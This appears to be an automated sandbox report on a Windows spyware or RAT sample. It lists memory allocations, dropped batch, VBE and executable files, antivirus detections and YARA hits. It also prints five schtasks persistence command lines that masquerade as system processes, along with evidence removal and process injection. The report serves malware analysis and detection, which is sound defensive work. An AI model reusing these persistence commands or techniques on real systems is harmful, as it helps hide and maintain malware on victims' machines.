NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b7a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b8c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cb0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c2c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c56000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b7b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b9b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bcc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b9d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 36864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cb1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b72000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b8d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cbb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cbc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b8e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b8a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cbd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 3, 2021, 10:30 a.m.	process_identifier: 2772 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cbe000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Looks up the external IP address (1 event)

domain

ipinfo.io

Creates executable files on the filesystem (3 events)

file	C:\FontsavesInto\5X6xHq8OosomjmO.bat
file	C:\FontsavesInto\FontsavesIntorefperf.exe
file	C:\FontsavesInto\m8aBJ5FB2D94qk25GJ.vbe

Creates a suspicious process (5 events)

cmdline	"schtasks" /create /tn "audiodg" /sc ONLOGON /tr "'C:\util\ProcessMonitor\audiodg.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Sandbox\test22\DefaultBox\drive\C\Windows\system32\CatRoot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\WmiPrvSE.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\Windows\System32\spbcd\winlogon.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\FontsavesInto\sppsvc.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "taskhost" /sc ONLOGON /tr "'C:\Windows\System32\iassdo\taskhost.exe'" /rl HIGHEST /f

Drops a binary and executes it (2 events)

file	C:\FontsavesInto\m8aBJ5FB2D94qk25GJ.vbe
file	C:\FontsavesInto\FontsavesIntorefperf.exe

A process created a hidden window (7 events)

Time & API	Arguments	Status	Return
ShellExecuteExW April 3, 2021, 10:37 a.m.	show_type: 0 filepath_r: C:/FontsavesInto/5X6xHq8OosomjmO.bat parameters: filepath: C:/FontsavesInto/5X6xHq8OosomjmO.bat	1	1
CreateProcessInternalW April 3, 2021, 10:30 a.m.	thread_identifier: 2216 thread_handle: 0x0000000000000378 process_identifier: 2444 current_directory: C:\FontsavesInto filepath: track: 1 command_line: "schtasks" /create /tn "audiodg" /sc ONLOGON /tr "'C:\util\ProcessMonitor\audiodg.exe'" /rl HIGHEST /f filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000000000000380	1	1
CreateProcessInternalW April 3, 2021, 10:30 a.m.	thread_identifier: 2076 thread_handle: 0x0000000000000388 process_identifier: 2852 current_directory: C:\FontsavesInto filepath: track: 1 command_line: "schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\Windows\System32\spbcd\winlogon.exe'" /rl HIGHEST /f filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000000000000394	1	1
CreateProcessInternalW April 3, 2021, 10:30 a.m.	thread_identifier: 752 thread_handle: 0x0000000000000388 process_identifier: 1016 current_directory: C:\FontsavesInto filepath: track: 1 command_line: "schtasks" /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Sandbox\test22\DefaultBox\drive\C\Windows\system32\CatRoot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\WmiPrvSE.exe'" /rl HIGHEST /f filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000000000000398	1	1
CreateProcessInternalW April 3, 2021, 10:30 a.m.	thread_identifier: 108 thread_handle: 0x0000000000000388 process_identifier: 1788 current_directory: C:\FontsavesInto filepath: track: 1 command_line: "schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\FontsavesInto\sppsvc.exe'" /rl HIGHEST /f filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000000000003a0	1	1
CreateProcessInternalW April 3, 2021, 10:30 a.m.	thread_identifier: 2196 thread_handle: 0x00000000000003a8 process_identifier: 2876 current_directory: C:\FontsavesInto filepath: track: 1 command_line: "schtasks" /create /tn "taskhost" /sc ONLOGON /tr "'C:\Windows\System32\iassdo\taskhost.exe'" /rl HIGHEST /f filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000000000003b4	1	1
CreateProcessInternalW April 3, 2021, 10:30 a.m.	thread_identifier: 2092 thread_handle: 0x00000000000003a8 process_identifier: 656 current_directory: C:\FontsavesInto filepath: track: 1 command_line: "C:\Windows\System32\iassdo\taskhost.exe" filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000000000003bc	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses April 3, 2021, 10:40 a.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW April 3, 2021, 10:30 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW April 3, 2021, 10:40 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (12 events)

description	Affect system registries	rule	win_registry
description	Affect system token	rule	win_token
description	Affect private profile	rule	win_private_profile
description	Affect private profile	rule	win_files_operation
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (5 events)

cmdline	"schtasks" /create /tn "audiodg" /sc ONLOGON /tr "'C:\util\ProcessMonitor\audiodg.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Sandbox\test22\DefaultBox\drive\C\Windows\system32\CatRoot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\WmiPrvSE.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\Windows\System32\spbcd\winlogon.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\FontsavesInto\sppsvc.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "taskhost" /sc ONLOGON /tr "'C:\Windows\System32\iassdo\taskhost.exe'" /rl HIGHEST /f

Communicates with host for which no DNS query was performed (1 event)

host

212.109.198.4

Installs itself for autorun at Windows startup (5 events)

cmdline	"schtasks" /create /tn "audiodg" /sc ONLOGON /tr "'C:\util\ProcessMonitor\audiodg.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Sandbox\test22\DefaultBox\drive\C\Windows\system32\CatRoot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\WmiPrvSE.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\Windows\System32\spbcd\winlogon.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\FontsavesInto\sppsvc.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "taskhost" /sc ONLOGON /tr "'C:\Windows\System32\iassdo\taskhost.exe'" /rl HIGHEST /f

One or more non-whitelisted processes were created (2 events)

parent_process	wscript.exe				martian_process	"C:\FontsavesInto\5X6xHq8OosomjmO.bat"
parent_process	wscript.exe				martian_process	C:/FontsavesInto/5X6xHq8OosomjmO.bat

Attempts to remove evidence of file being downloaded from the Internet (5 events)

file	C:\Windows\System32\iassdo\taskhost.exe:Zone.Identifier
file	C:\FontsavesInto\sppsvc.exe:Zone.Identifier
file	C:\Windows\System32\spbcd\winlogon.exe:Zone.Identifier
file	C:\Sandbox\test22\DefaultBox\drive\C\Windows\system32\CatRoot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\WmiPrvSE.exe:Zone.Identifier
file	C:\util\ProcessMonitor\audiodg.exe:Zone.Identifier

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1116 resumed a thread in remote process 1772
NtResumeThread April 3, 2021, 10:37 a.m.	thread_handle: 0x00000288 suspend_count: 1 process_identifier: 1772	1	0	0

The process wscript.exe wrote an executable file to disk (1 event)

file	C:\Windows\SysWOW64\wscript.exe

File has been identified by 32 AntiVirus engines on VirusTotal as malicious (32 events)

Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.MSIL.Basic.8.Gen
FireEye	Generic.mg.f4787944e95596ad
McAfee	Artemis!F4787944E955
Zillya	Trojan.ScriptKD.JS.10
K7AntiVirus	Spyware ( 0056acbc1 )
K7GW	Spyware ( 0056acbc1 )
Cybereason	malicious.4e9559
Arcabit	Trojan.MSIL.Basic.8.Gen
Symantec	Trojan.Gen.MBT
ESET-NOD32	a variant of MSIL/Spy.Agent.CVT
APEX	Malicious
Avast	Win32:RATX-gen [Trj]
ClamAV	Win.Malware.Uztuby-9848412-0
Kaspersky	HEUR:Trojan-Spy.MSIL.Stealer.gen
BitDefender	Trojan.MSIL.Basic.8.Gen
Ad-Aware	Trojan.MSIL.Basic.8.Gen
Sophos	ML/PE-A
McAfee-GW-Edition	BehavesLike.Win32.Drixed.dh
Emsisoft	Trojan.MSIL.Basic.8.Gen (B)
SentinelOne	Static AI - Malicious SFX
eGambit	Unsafe.AI_Score_60%
Microsoft	Trojan:MSIL/SpyNoon.RTU!MTB
GData	Trojan.MSIL.Basic.8.Gen (2x)
Cynet	Malicious (score: 100)
BitDefenderTheta	Gen:NN.ZemsilF.34662.Nq0@a0bH!zki
ALYac	Trojan.MSIL.Basic.8.Gen
MAX	malware (ai score=87)
Malwarebytes	Malware.AI.1931337028
Rising	Spyware.Agent!8.C6 (TFE:dGZlOg1s5ZOXQXgZ7w)
AVG	Win32:RATX-gen [Trj]
Qihoo-360	QVM41.1.Malware.Gen

loaddd.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All